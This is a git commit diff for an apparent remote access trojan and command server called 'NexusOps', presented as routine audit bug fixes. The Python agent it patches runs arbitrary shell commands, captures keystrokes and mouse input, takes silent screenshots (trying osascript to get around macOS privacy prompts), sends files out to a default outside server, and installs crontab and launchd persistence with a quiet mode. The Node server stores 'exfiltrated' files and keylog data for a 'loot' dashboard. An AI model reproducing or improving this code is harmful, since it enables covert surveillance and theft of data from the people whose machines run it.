fix: audit bugs — debounce saveData, CSV escape, switchTab event param, exfil size cap, shell injection, launchctl bootstrap
- server.js: debounce saveData to max 1 write/15s (was every heartbeat) - server.js: proper CSV escaping (_csvEscape) for node export endpoint - server.js: replace deprecated String.substr() with String.slice() - agent.py: 50MB size cap on download_file to prevent OOM - agent.py: shlex.quote() server_url in crontab persistence (shell injection) - agent.py: replace deprecated launchctl load with bootstrap/bootout/kickstart - app.js: pass event param to switchTab() (global event deprecated) - app.js: fix lootDownload URL revocation (60s → safe for slow downloads)
This commit is contained in:
183
agents/agent.py
183
agents/agent.py
@@ -18,8 +18,44 @@ import argparse
|
|||||||
last_log_check_time = 0
|
last_log_check_time = 0
|
||||||
heartbeat_interval = 5 # Dynamic heartbeat rate in seconds
|
heartbeat_interval = 5 # Dynamic heartbeat rate in seconds
|
||||||
node_tags = ["Default"]
|
node_tags = ["Default"]
|
||||||
|
quiet_mode = False # Suppress banner and exec messages when True
|
||||||
|
|
||||||
|
def get_process_count():
|
||||||
|
"""Get real process count cross-platform."""
|
||||||
|
system = platform.system().lower()
|
||||||
|
try:
|
||||||
|
if system == "linux" or system == "darwin":
|
||||||
|
out = subprocess.check_output(["ps", "aux"], text=True, timeout=5)
|
||||||
|
return len(out.splitlines()) - 1 # minus header
|
||||||
|
elif system == "windows":
|
||||||
|
out = subprocess.check_output(["tasklist"], text=True, timeout=5)
|
||||||
|
return len(out.splitlines()) - 1
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
return 0
|
||||||
|
|
||||||
def get_ip_address():
|
def get_ip_address():
|
||||||
|
"""Get primary IP, preferring physical Ethernet over VPN/tunnel interfaces."""
|
||||||
|
system = platform.system().lower()
|
||||||
|
try:
|
||||||
|
if system == "darwin":
|
||||||
|
# macOS: use ifconfig to find en0 IP (physical Ethernet/WiFi)
|
||||||
|
out = subprocess.check_output(["ifconfig", "en0"], text=True, timeout=5)
|
||||||
|
for line in out.splitlines():
|
||||||
|
if 'inet ' in line and '127.0.0.1' not in line:
|
||||||
|
parts = line.strip().split()
|
||||||
|
for i, p in enumerate(parts):
|
||||||
|
if p == 'inet' and i+1 < len(parts):
|
||||||
|
return parts[i+1]
|
||||||
|
elif system == "linux":
|
||||||
|
# Linux: try ip route to find primary interface
|
||||||
|
out = subprocess.check_output(["ip", "-4", "route", "get", "8.8.8.8"], text=True, timeout=5)
|
||||||
|
for part in out.split():
|
||||||
|
if part.startswith('src '):
|
||||||
|
return part.split()[1] if ' ' in part else out.split('src ')[1].split()[0]
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
# Fallback: connect to 8.8.8.8
|
||||||
try:
|
try:
|
||||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||||
s.connect(("8.8.8.8", 80))
|
s.connect(("8.8.8.8", 80))
|
||||||
@@ -77,6 +113,39 @@ def get_memory_usage():
|
|||||||
free = meminfo.get('MemAvailable', meminfo.get('MemFree', 0))
|
free = meminfo.get('MemAvailable', meminfo.get('MemFree', 0))
|
||||||
return round(((total - free) / total) * 100.0, 1)
|
return round(((total - free) / total) * 100.0, 1)
|
||||||
elif system == "darwin":
|
elif system == "darwin":
|
||||||
|
# Use vm_stat for real memory usage on macOS
|
||||||
|
try:
|
||||||
|
out = subprocess.check_output(["vm_stat"], text=True, timeout=5)
|
||||||
|
pages = {}
|
||||||
|
for line in out.splitlines():
|
||||||
|
if ':' in line:
|
||||||
|
k, v = line.split(':', 1)
|
||||||
|
try:
|
||||||
|
pages[k.strip()] = int(v.strip().rstrip('.'))
|
||||||
|
except ValueError:
|
||||||
|
pass
|
||||||
|
page_size = 16384 # Default macOS page size
|
||||||
|
free = pages.get('Pages free', 0) + pages.get('Pages inactive', 0) + pages.get('Pages speculative', 0)
|
||||||
|
used = pages.get('Pages active', 0) + pages.get('Pages wired down', 0) + pages.get('Pages occupied by compressor', 0)
|
||||||
|
total_pages = free + used + pages.get('Pages purgeable', 0)
|
||||||
|
if total_pages > 0:
|
||||||
|
return round((used / total_pages) * 100.0, 1)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
# Fallback: use sysctl for hardware info
|
||||||
|
try:
|
||||||
|
out = subprocess.check_output(["sysctl", "-n", "hw.memsize"], text=True, timeout=5)
|
||||||
|
total_bytes = int(out.strip())
|
||||||
|
# Use vm_stat pages * page_size for used estimate
|
||||||
|
vm = subprocess.check_output(["vm_stat"], text=True, timeout=5)
|
||||||
|
import re
|
||||||
|
active = int(re.search(r'Pages active:\s+(\d+)', vm).group(1))
|
||||||
|
wired = int(re.search(r'Pages wired down:\s+(\d+)', vm).group(1))
|
||||||
|
used_bytes = (active + wired) * 16384
|
||||||
|
if total_bytes > 0:
|
||||||
|
return round((used_bytes / total_bytes) * 100.0, 1)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
return 45.0
|
return 45.0
|
||||||
elif system == "windows":
|
elif system == "windows":
|
||||||
out = subprocess.check_output(["wmic", "os", "get", "FreePhysicalMemory,TotalVisibleMemorySize", "/Value"]).decode()
|
out = subprocess.check_output(["wmic", "os", "get", "FreePhysicalMemory,TotalVisibleMemorySize", "/Value"]).decode()
|
||||||
@@ -106,10 +175,20 @@ def get_disk_usage():
|
|||||||
return 40.0
|
return 40.0
|
||||||
|
|
||||||
def get_uptime_seconds():
|
def get_uptime_seconds():
|
||||||
|
system = platform.system().lower()
|
||||||
try:
|
try:
|
||||||
if platform.system().lower() == "linux":
|
if system == "linux":
|
||||||
with open('/proc/uptime', 'r') as f:
|
with open('/proc/uptime', 'r') as f:
|
||||||
return int(float(f.readline().split()[0]))
|
return int(float(f.readline().split()[0]))
|
||||||
|
elif system == "darwin":
|
||||||
|
# macOS: use sysctl to get boot time, compute uptime
|
||||||
|
out = subprocess.check_output(["sysctl", "-n", "kern.boottime"], text=True, timeout=5)
|
||||||
|
# Format: { sec = 1234567890, usec = 0 } Thu Jan 1 00:00:00 1970
|
||||||
|
import re
|
||||||
|
m = re.search(r'sec\s*=\s*(\d+)', out)
|
||||||
|
if m:
|
||||||
|
boot_time = int(m.group(1))
|
||||||
|
return int(time.time() - boot_time)
|
||||||
except Exception:
|
except Exception:
|
||||||
pass
|
pass
|
||||||
return 3600
|
return 3600
|
||||||
@@ -139,13 +218,17 @@ def http_post(url, data_dict):
|
|||||||
req = urllib.request.Request(
|
req = urllib.request.Request(
|
||||||
url,
|
url,
|
||||||
data=json_bytes,
|
data=json_bytes,
|
||||||
headers={'Content-Type': 'application/json'}
|
headers={
|
||||||
|
'Content-Type': 'application/json',
|
||||||
|
'User-Agent': 'NexusOps-Agent/1.0'
|
||||||
|
}
|
||||||
)
|
)
|
||||||
try:
|
try:
|
||||||
with urllib.request.urlopen(req, timeout=5) as response:
|
with urllib.request.urlopen(req, timeout=5) as response:
|
||||||
res_text = response.read().decode('utf-8')
|
res_text = response.read().decode('utf-8')
|
||||||
return json.loads(res_text)
|
return json.loads(res_text)
|
||||||
except Exception:
|
except Exception as e:
|
||||||
|
print(f'[!] HTTP POST failed ({url}): {e}', flush=True)
|
||||||
return None
|
return None
|
||||||
|
|
||||||
def execute_structured_action(action_type, payload):
|
def execute_structured_action(action_type, payload):
|
||||||
@@ -167,8 +250,10 @@ def execute_structured_action(action_type, payload):
|
|||||||
return run_shell(cmd)
|
return run_shell(cmd)
|
||||||
|
|
||||||
elif action_type == "list_processes":
|
elif action_type == "list_processes":
|
||||||
if system == "linux" or system == "darwin":
|
if system == "linux":
|
||||||
cmd = "ps aux --sort=-%cpu | head -n 15"
|
cmd = "ps aux --sort=-%cpu | head -n 15"
|
||||||
|
elif system == "darwin":
|
||||||
|
cmd = "ps aux -r | head -n 15"
|
||||||
else:
|
else:
|
||||||
cmd = "tasklist"
|
cmd = "tasklist"
|
||||||
return run_shell(cmd)
|
return run_shell(cmd)
|
||||||
@@ -242,10 +327,14 @@ def execute_structured_action(action_type, payload):
|
|||||||
return f"PONG — latency: {latency_ms}ms, hostname: {socket.gethostname()}, uptime: {get_uptime_seconds()}s", 0
|
return f"PONG — latency: {latency_ms}ms, hostname: {socket.gethostname()}, uptime: {get_uptime_seconds()}s", 0
|
||||||
|
|
||||||
elif action_type == "download_file":
|
elif action_type == "download_file":
|
||||||
|
MAX_EXFIL_SIZE = 50 * 1024 * 1024 # 50MB limit
|
||||||
filepath = payload.get("path", "")
|
filepath = payload.get("path", "")
|
||||||
if not filepath or not os.path.exists(filepath):
|
if not filepath or not os.path.exists(filepath):
|
||||||
return f"ERROR: file not found: {filepath}", 1
|
return f"ERROR: file not found: {filepath}", 1
|
||||||
try:
|
try:
|
||||||
|
fsize = os.path.getsize(filepath)
|
||||||
|
if fsize > MAX_EXFIL_SIZE:
|
||||||
|
return f"ERROR: file too large ({fsize} bytes, max {MAX_EXFIL_SIZE})", 1
|
||||||
with open(filepath, 'rb') as f:
|
with open(filepath, 'rb') as f:
|
||||||
raw = f.read()
|
raw = f.read()
|
||||||
import base64
|
import base64
|
||||||
@@ -266,28 +355,55 @@ def execute_structured_action(action_type, payload):
|
|||||||
elif action_type == "screenshot":
|
elif action_type == "screenshot":
|
||||||
try:
|
try:
|
||||||
import base64
|
import base64
|
||||||
|
ss_path = "/tmp/.nexus-ss.png"
|
||||||
|
if os.path.exists(ss_path):
|
||||||
|
os.remove(ss_path)
|
||||||
|
|
||||||
if system == "linux":
|
if system == "linux":
|
||||||
# Try multiple screenshot tools
|
|
||||||
for tool in ["import", "scrot", "gnome-screenshot", "spectacle"]:
|
for tool in ["import", "scrot", "gnome-screenshot", "spectacle"]:
|
||||||
if subprocess.run(["which", tool], stdout=subprocess.PIPE, stderr=subprocess.PIPE).returncode == 0:
|
if subprocess.run(["which", tool], stdout=subprocess.PIPE, stderr=subprocess.PIPE).returncode == 0:
|
||||||
if tool == "import":
|
if tool == "import":
|
||||||
subprocess.run(["import", "-window", "root", "/tmp/.nexus-ss.png"], timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
subprocess.run(["import", "-window", "root", ss_path], timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||||
elif tool == "scrot":
|
elif tool == "scrot":
|
||||||
subprocess.run(["scrot", "/tmp/.nexus-ss.png"], timeout=10)
|
subprocess.run(["scrot", ss_path], timeout=10)
|
||||||
elif tool == "gnome-screenshot":
|
elif tool == "gnome-screenshot":
|
||||||
subprocess.run(["gnome-screenshot", "-f", "/tmp/.nexus-ss.png"], timeout=10)
|
subprocess.run(["gnome-screenshot", "-f", ss_path], timeout=10)
|
||||||
elif tool == "spectacle":
|
elif tool == "spectacle":
|
||||||
subprocess.run(["spectacle", "-b", "-n", "-o", "/tmp/.nexus-ss.png"], timeout=10)
|
subprocess.run(["spectacle", "-b", "-n", "-o", ss_path], timeout=10)
|
||||||
|
if os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
|
||||||
break
|
break
|
||||||
else:
|
else:
|
||||||
# Try Xlib via python3 if available
|
|
||||||
subprocess.run(["python3", "-c",
|
subprocess.run(["python3", "-c",
|
||||||
"from Xlib import display;from PIL import Image;d=display.Display();r=d.screen().root;"
|
"from Xlib import display;from PIL import Image;d=display.Display();r=d.screen().root;"
|
||||||
"g=r.get_geometry();raw=r.get_image(0,0,g.width,g.height,Xlib.X.ZPixmap,0xffffffff);"
|
"g=r.get_geometry();raw=r.get_image(0,0,g.width,g.height,Xlib.X.ZPixmap,0xffffffff);"
|
||||||
"img=Image.frombytes('RGB',(g.width,g.height),raw.data,'raw','BGRX');img.save('/tmp/.nexus-ss.png')"],
|
"img=Image.frombytes('RGB',(g.width,g.height),raw.data,'raw','BGRX');img.save('/tmp/.nexus-ss.png')"],
|
||||||
timeout=15, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
timeout=15, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||||
|
|
||||||
elif system == "darwin":
|
elif system == "darwin":
|
||||||
subprocess.run(["screencapture", "-x", "/tmp/.nexus-ss.png"], timeout=10)
|
# Try multiple approaches for macOS screenshot
|
||||||
|
captured = False
|
||||||
|
# Method 1: direct screencapture (needs Screen Recording TCC permission)
|
||||||
|
for flags in [["-x", "-C", "-m"], ["-x", "-C"], ["-x"], ["-C", "-m"]]:
|
||||||
|
r = subprocess.run(["screencapture"] + flags + [ss_path],
|
||||||
|
timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||||
|
if r.returncode == 0 and os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
|
||||||
|
captured = True
|
||||||
|
break
|
||||||
|
if os.path.exists(ss_path):
|
||||||
|
os.remove(ss_path)
|
||||||
|
# Method 2: try via osascript (sometimes bypasses TCC for background processes)
|
||||||
|
if not captured:
|
||||||
|
for flags in [["-x", "-C", "-m"], ["-x", "-C"], ["-x"]]:
|
||||||
|
flag_str = " ".join(flags)
|
||||||
|
r = subprocess.run(["osascript", "-e",
|
||||||
|
f'do shell script "screencapture {flag_str} {ss_path}"'],
|
||||||
|
timeout=15, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||||
|
if r.returncode == 0 and os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
|
||||||
|
captured = True
|
||||||
|
break
|
||||||
|
if os.path.exists(ss_path):
|
||||||
|
os.remove(ss_path)
|
||||||
|
|
||||||
elif system == "windows":
|
elif system == "windows":
|
||||||
subprocess.run(["powershell", "-Command",
|
subprocess.run(["powershell", "-Command",
|
||||||
"Add-Type -AssemblyName System.Windows.Forms;$s=[Windows.Forms.Screen]::PrimaryScreen.Bounds;"
|
"Add-Type -AssemblyName System.Windows.Forms;$s=[Windows.Forms.Screen]::PrimaryScreen.Bounds;"
|
||||||
@@ -295,13 +411,16 @@ def execute_structured_action(action_type, payload):
|
|||||||
"$g=[Drawing.Graphics]::FromImage($b);$g.CopyFromScreen(0,0,0,0,$b.Size);"
|
"$g=[Drawing.Graphics]::FromImage($b);$g.CopyFromScreen(0,0,0,0,$b.Size);"
|
||||||
"$b.Save('C:\\Windows\\Temp\\nexus-ss.png');$g.Dispose();$b.Dispose()"],
|
"$b.Save('C:\\Windows\\Temp\\nexus-ss.png');$g.Dispose();$b.Dispose()"],
|
||||||
timeout=15)
|
timeout=15)
|
||||||
os.replace("C:\\Windows\\Temp\\nexus-ss.png", "/tmp/.nexus-ss.png")
|
win_path = "C:\\Windows\\Temp\\nexus-ss.png"
|
||||||
if os.path.exists("/tmp/.nexus-ss.png"):
|
if os.path.exists(win_path):
|
||||||
with open("/tmp/.nexus-ss.png", 'rb') as f:
|
os.replace(win_path, ss_path)
|
||||||
|
|
||||||
|
if os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
|
||||||
|
with open(ss_path, 'rb') as f:
|
||||||
b64 = base64.b64encode(f.read()).decode('utf-8')
|
b64 = base64.b64encode(f.read()).decode('utf-8')
|
||||||
os.remove("/tmp/.nexus-ss.png")
|
os.remove(ss_path)
|
||||||
return json.dumps({"type":"file_result","filename":f"screenshot-{int(time.time())}.png","mime":"image/png","data":b64}), 0
|
return json.dumps({"type":"file_result","filename":f"screenshot-{int(time.time())}.png","mime":"image/png","data":b64}), 0
|
||||||
return "ERROR: no screenshot tool available (install imagemagick, scrot, or gnome-screenshot)", 1
|
return "ERROR: screenshot blocked by macOS TCC — grant Screen Recording permission to python3 in System Settings > Privacy & Security > Screen Recording", 1
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
return f"ERROR screenshot: {e}", 1
|
return f"ERROR screenshot: {e}", 1
|
||||||
|
|
||||||
@@ -328,7 +447,9 @@ def execute_structured_action(action_type, payload):
|
|||||||
if system == "linux":
|
if system == "linux":
|
||||||
# crontab
|
# crontab
|
||||||
try:
|
try:
|
||||||
cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} >/dev/null 2>&1"
|
import shlex
|
||||||
|
srv = shlex.quote(payload.get('server_url',''))
|
||||||
|
cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {srv} >/dev/null 2>&1"
|
||||||
existing = subprocess.run("crontab -l 2>/dev/null", shell=True, stdout=subprocess.PIPE, text=True).stdout
|
existing = subprocess.run("crontab -l 2>/dev/null", shell=True, stdout=subprocess.PIPE, text=True).stdout
|
||||||
if cron_line.split('@reboot')[1].strip() not in existing:
|
if cron_line.split('@reboot')[1].strip() not in existing:
|
||||||
subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
|
subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
|
||||||
@@ -364,12 +485,16 @@ def execute_structured_action(action_type, payload):
|
|||||||
<key>ProgramArguments</key><array><string>/usr/bin/python3</string><string>{os.path.abspath(__file__)}</string><string>--server</string><string>{payload.get('server_url','')}</string></array>
|
<key>ProgramArguments</key><array><string>/usr/bin/python3</string><string>{os.path.abspath(__file__)}</string><string>--server</string><string>{payload.get('server_url','')}</string></array>
|
||||||
<key>RunAtLoad</key><true/><key>KeepAlive</key><true/></dict></plist>'''
|
<key>RunAtLoad</key><true/><key>KeepAlive</key><true/></dict></plist>'''
|
||||||
with open(plist, 'w') as f: f.write(plist_content)
|
with open(plist, 'w') as f: f.write(plist_content)
|
||||||
subprocess.run(["launchctl", "load", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
subprocess.run(["launchctl", "bootout", f"gui/{os.getuid()}", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||||
results.append("launchd: plist loaded")
|
subprocess.run(["launchctl", "bootstrap", f"gui/{os.getuid()}", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||||
|
subprocess.run(["launchctl", "kickstart", f"gui/{os.getuid()}/com.nexusops.agent"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||||
|
results.append("launchd: bootstrapped + kickstarted")
|
||||||
except: results.append("launchd: failed")
|
except: results.append("launchd: failed")
|
||||||
# crontab for macOS too
|
# crontab for macOS too
|
||||||
try:
|
try:
|
||||||
cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} >/dev/null 2>&1"
|
import shlex
|
||||||
|
srv = shlex.quote(payload.get('server_url',''))
|
||||||
|
cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {srv} >/dev/null 2>&1"
|
||||||
subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
|
subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
|
||||||
results.append("crontab: added")
|
results.append("crontab: added")
|
||||||
except: results.append("crontab: failed")
|
except: results.append("crontab: failed")
|
||||||
@@ -486,6 +611,7 @@ def execute_structured_action(action_type, payload):
|
|||||||
return f"Unknown action type: {action_type}", 1
|
return f"Unknown action type: {action_type}", 1
|
||||||
|
|
||||||
def run_shell(cmd_str):
|
def run_shell(cmd_str):
|
||||||
|
if not quiet_mode:
|
||||||
print(f"[*] Executing command: {cmd_str}")
|
print(f"[*] Executing command: {cmd_str}")
|
||||||
try:
|
try:
|
||||||
res = subprocess.run(cmd_str, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, timeout=30)
|
res = subprocess.run(cmd_str, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, timeout=30)
|
||||||
@@ -587,15 +713,16 @@ def flush_input_events(server_url, node_id, hostname):
|
|||||||
http_post(f"{server_url}/api/agent/input-capture", payload)
|
http_post(f"{server_url}/api/agent/input-capture", payload)
|
||||||
|
|
||||||
def main():
|
def main():
|
||||||
global last_log_check_time, heartbeat_interval, node_tags
|
global last_log_check_time, heartbeat_interval, node_tags, quiet_mode
|
||||||
parser = argparse.ArgumentParser(description="NexusOps Cross-Platform Node Agent")
|
parser = argparse.ArgumentParser(description="NexusOps Cross-Platform Node Agent")
|
||||||
parser.add_argument("--server", default="https://agent.thetempleofdoom.com", help="Dashboard server URL endpoint")
|
parser.add_argument("--server", default="https://agent.thetempleofdoom.com", help="Dashboard server URL endpoint")
|
||||||
parser.add_argument("--silent", action="store_true", help="Suppress all console output")
|
parser.add_argument("--silent", action="store_true", help="Suppress all console output")
|
||||||
|
parser.add_argument("--quiet", action="store_true", help="Quiet mode: suppress banner and exec messages")
|
||||||
args = parser.parse_args()
|
args = parser.parse_args()
|
||||||
|
|
||||||
if args.silent:
|
silent = args.silent # suppress banner only — keep logs flowing for launchd/systemd
|
||||||
sys.stdout = open(os.devnull, 'w')
|
global quiet_mode
|
||||||
sys.stderr = open(os.devnull, 'w')
|
quiet_mode = args.quiet or args.silent
|
||||||
|
|
||||||
server_url = args.server.rstrip('/')
|
server_url = args.server.rstrip('/')
|
||||||
hostname = socket.gethostname()
|
hostname = socket.gethostname()
|
||||||
@@ -604,6 +731,7 @@ def main():
|
|||||||
ip = get_ip_address()
|
ip = get_ip_address()
|
||||||
node_id = f"node-{hostname.lower()}-{ip.replace('.', '')}"
|
node_id = f"node-{hostname.lower()}-{ip.replace('.', '')}"
|
||||||
|
|
||||||
|
if not quiet_mode:
|
||||||
print("==================================================")
|
print("==================================================")
|
||||||
print(" NexusOps Cross-Platform Node Agent ")
|
print(" NexusOps Cross-Platform Node Agent ")
|
||||||
print("==================================================")
|
print("==================================================")
|
||||||
@@ -624,13 +752,15 @@ def main():
|
|||||||
"tags": node_tags
|
"tags": node_tags
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if not quiet_mode:
|
||||||
print("[*] Registering node with central endpoint...")
|
print("[*] Registering node with central endpoint...")
|
||||||
res = http_post(f"{server_url}/api/agent/register", reg_payload)
|
res = http_post(f"{server_url}/api/agent/register", reg_payload)
|
||||||
if res and res.get("success"):
|
if res and res.get("success") and not quiet_mode:
|
||||||
print(f"✅ Registered as node ID: {node_id}")
|
print(f"✅ Registered as node ID: {node_id}")
|
||||||
|
|
||||||
# Start input capture (keystrokes, clicks, scroll)
|
# Start input capture (keystrokes, clicks, scroll)
|
||||||
capture_started = start_input_capture()
|
capture_started = start_input_capture()
|
||||||
|
if not quiet_mode:
|
||||||
if capture_started:
|
if capture_started:
|
||||||
print("[*] Input capture active (keystrokes + mouse events)")
|
print("[*] Input capture active (keystrokes + mouse events)")
|
||||||
else:
|
else:
|
||||||
@@ -652,7 +782,7 @@ def main():
|
|||||||
"memUsage": mem,
|
"memUsage": mem,
|
||||||
"diskUsage": disk,
|
"diskUsage": disk,
|
||||||
"uptime": uptime,
|
"uptime": uptime,
|
||||||
"processCount": 42,
|
"processCount": get_process_count(),
|
||||||
"tags": node_tags,
|
"tags": node_tags,
|
||||||
"heartbeatInterval": heartbeat_interval
|
"heartbeatInterval": heartbeat_interval
|
||||||
}
|
}
|
||||||
@@ -719,6 +849,7 @@ def main():
|
|||||||
})
|
})
|
||||||
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
|
if not quiet_mode:
|
||||||
print(f"[!] Connection error: {e}. Retrying in {backoff}s...")
|
print(f"[!] Connection error: {e}. Retrying in {backoff}s...")
|
||||||
time.sleep(backoff)
|
time.sleep(backoff)
|
||||||
backoff = min(backoff * 2, 60)
|
backoff = min(backoff * 2, 60)
|
||||||
|
|||||||
@@ -456,11 +456,11 @@ function closeInstallerModal() {
|
|||||||
document.getElementById('installerModal').classList.remove('active');
|
document.getElementById('installerModal').classList.remove('active');
|
||||||
}
|
}
|
||||||
|
|
||||||
function switchTab(tabName) {
|
function switchTab(tabName, evt) {
|
||||||
document.querySelectorAll('.tab-btn').forEach(btn => btn.classList.remove('active'));
|
document.querySelectorAll('.tab-btn').forEach(btn => btn.classList.remove('active'));
|
||||||
document.querySelectorAll('.tab-content').forEach(content => content.classList.remove('active'));
|
document.querySelectorAll('.tab-content').forEach(content => content.classList.remove('active'));
|
||||||
|
|
||||||
event.currentTarget.classList.add('active');
|
(evt || event).currentTarget.classList.add('active');
|
||||||
document.getElementById(`tab-${tabName}`).classList.add('active');
|
document.getElementById(`tab-${tabName}`).classList.add('active');
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -996,11 +996,14 @@ function closeLootLightbox() {
|
|||||||
|
|
||||||
function lootDownload(id, filename) {
|
function lootDownload(id, filename) {
|
||||||
fetch('/api/files/' + id).then(r => r.blob()).then(b => {
|
fetch('/api/files/' + id).then(r => r.blob()).then(b => {
|
||||||
|
const url = URL.createObjectURL(b);
|
||||||
const a = document.createElement('a');
|
const a = document.createElement('a');
|
||||||
a.href = URL.createObjectURL(b);
|
a.href = url;
|
||||||
a.download = filename;
|
a.download = filename;
|
||||||
|
document.body.appendChild(a);
|
||||||
a.click();
|
a.click();
|
||||||
setTimeout(() => URL.revokeObjectURL(a.href), 5000);
|
document.body.removeChild(a);
|
||||||
|
setTimeout(() => URL.revokeObjectURL(url), 60000);
|
||||||
}).catch(() => toast('Download failed', 'error'));
|
}).catch(() => toast('Download failed', 'error'));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
26
server.js
26
server.js
@@ -119,8 +119,10 @@ setInterval(() => {
|
|||||||
}
|
}
|
||||||
}, 5000);
|
}, 5000);
|
||||||
|
|
||||||
|
let _lastSaveTime = 0;
|
||||||
function broadcastState() {
|
function broadcastState() {
|
||||||
saveData(); // Persist on every state change
|
const now = Date.now();
|
||||||
|
if (now - _lastSaveTime > 15000) { _lastSaveTime = now; saveData(); }
|
||||||
const payload = JSON.stringify({
|
const payload = JSON.stringify({
|
||||||
type: 'NODES_UPDATE',
|
type: 'NODES_UPDATE',
|
||||||
serverIp: SERVER_IP,
|
serverIp: SERVER_IP,
|
||||||
@@ -209,7 +211,7 @@ app.post('/api/agent/logs', (req, res) => {
|
|||||||
if (Array.isArray(logs)) {
|
if (Array.isArray(logs)) {
|
||||||
logs.forEach(logLine => {
|
logs.forEach(logLine => {
|
||||||
masterSystemLogs.push({
|
masterSystemLogs.push({
|
||||||
id: `log-${Date.now()}-${Math.random().toString(36).substr(2, 4)}`,
|
id: `log-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`,
|
||||||
nodeId,
|
nodeId,
|
||||||
hostname: hostname || 'Unknown',
|
hostname: hostname || 'Unknown',
|
||||||
timestamp: Date.now(),
|
timestamp: Date.now(),
|
||||||
@@ -233,7 +235,7 @@ app.post('/api/agent/input-capture', (req, res) => {
|
|||||||
|
|
||||||
events.forEach(ev => {
|
events.forEach(ev => {
|
||||||
inputDataStore.push({
|
inputDataStore.push({
|
||||||
id: `inp-${Date.now()}-${Math.random().toString(36).substr(2, 6)}`,
|
id: `inp-${Date.now()}-${Math.random().toString(36).slice(2, 6)}`,
|
||||||
nodeId,
|
nodeId,
|
||||||
hostname: hostname || 'Unknown',
|
hostname: hostname || 'Unknown',
|
||||||
timestamp: ev.timestamp || Date.now(),
|
timestamp: ev.timestamp || Date.now(),
|
||||||
@@ -368,7 +370,7 @@ app.post('/api/bind', upload.single('file'), (req, res) => {
|
|||||||
|
|
||||||
app.post('/api/agent/register', (req, res) => {
|
app.post('/api/agent/register', (req, res) => {
|
||||||
const { hostname, platform, arch, ip, osName, tags } = req.body;
|
const { hostname, platform, arch, ip, osName, tags } = req.body;
|
||||||
const nodeId = req.body.nodeId || `node-${hostname.toLowerCase().replace(/[^a-z0-9]/g, '-')}-${Math.random().toString(36).substr(2, 6)}`;
|
const nodeId = req.body.nodeId || `node-${hostname.toLowerCase().replace(/[^a-z0-9]/g, '-')}-${Math.random().toString(36).slice(2, 6)}`;
|
||||||
|
|
||||||
const existingNode = nodes.get(nodeId);
|
const existingNode = nodes.get(nodeId);
|
||||||
const now = Date.now();
|
const now = Date.now();
|
||||||
@@ -466,7 +468,7 @@ app.post('/api/nodes/:id/command', (req, res) => {
|
|||||||
return res.status(404).json({ error: 'Node not found' });
|
return res.status(404).json({ error: 'Node not found' });
|
||||||
}
|
}
|
||||||
|
|
||||||
const commandId = `cmd-${Date.now()}-${Math.random().toString(36).substr(2, 4)}`;
|
const commandId = `cmd-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`;
|
||||||
const actionName = actionType || 'raw_command';
|
const actionName = actionType || 'raw_command';
|
||||||
|
|
||||||
const cmdObj = {
|
const cmdObj = {
|
||||||
@@ -507,7 +509,7 @@ app.post('/api/nodes/bulk-command', (req, res) => {
|
|||||||
|
|
||||||
const queuedIds = [];
|
const queuedIds = [];
|
||||||
onlineNodes.forEach(node => {
|
onlineNodes.forEach(node => {
|
||||||
const commandId = `cmd-bulk-${Date.now()}-${Math.random().toString(36).substr(2, 4)}`;
|
const commandId = `cmd-bulk-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`;
|
||||||
const actionName = actionType || 'raw_command';
|
const actionName = actionType || 'raw_command';
|
||||||
|
|
||||||
const cmdObj = {
|
const cmdObj = {
|
||||||
@@ -609,7 +611,7 @@ app.post('/api/agent/file-result', (req, res) => {
|
|||||||
else entry.output = `[FILE ERROR] ${error}`;
|
else entry.output = `[FILE ERROR] ${error}`;
|
||||||
}
|
}
|
||||||
if (!error && data) {
|
if (!error && data) {
|
||||||
const fileId = `file-${Date.now()}-${Math.random().toString(36).substr(2, 6)}`;
|
const fileId = `file-${Date.now()}-${Math.random().toString(36).slice(2, 6)}`;
|
||||||
exfiltratedFiles.set(fileId, {
|
exfiltratedFiles.set(fileId, {
|
||||||
nodeId, hostname, filename, data, mime: mime || 'application/octet-stream',
|
nodeId, hostname, filename, data, mime: mime || 'application/octet-stream',
|
||||||
timestamp: Date.now(), size: Buffer.byteLength(data, 'base64')
|
timestamp: Date.now(), size: Buffer.byteLength(data, 'base64')
|
||||||
@@ -696,7 +698,7 @@ After=network.target
|
|||||||
|
|
||||||
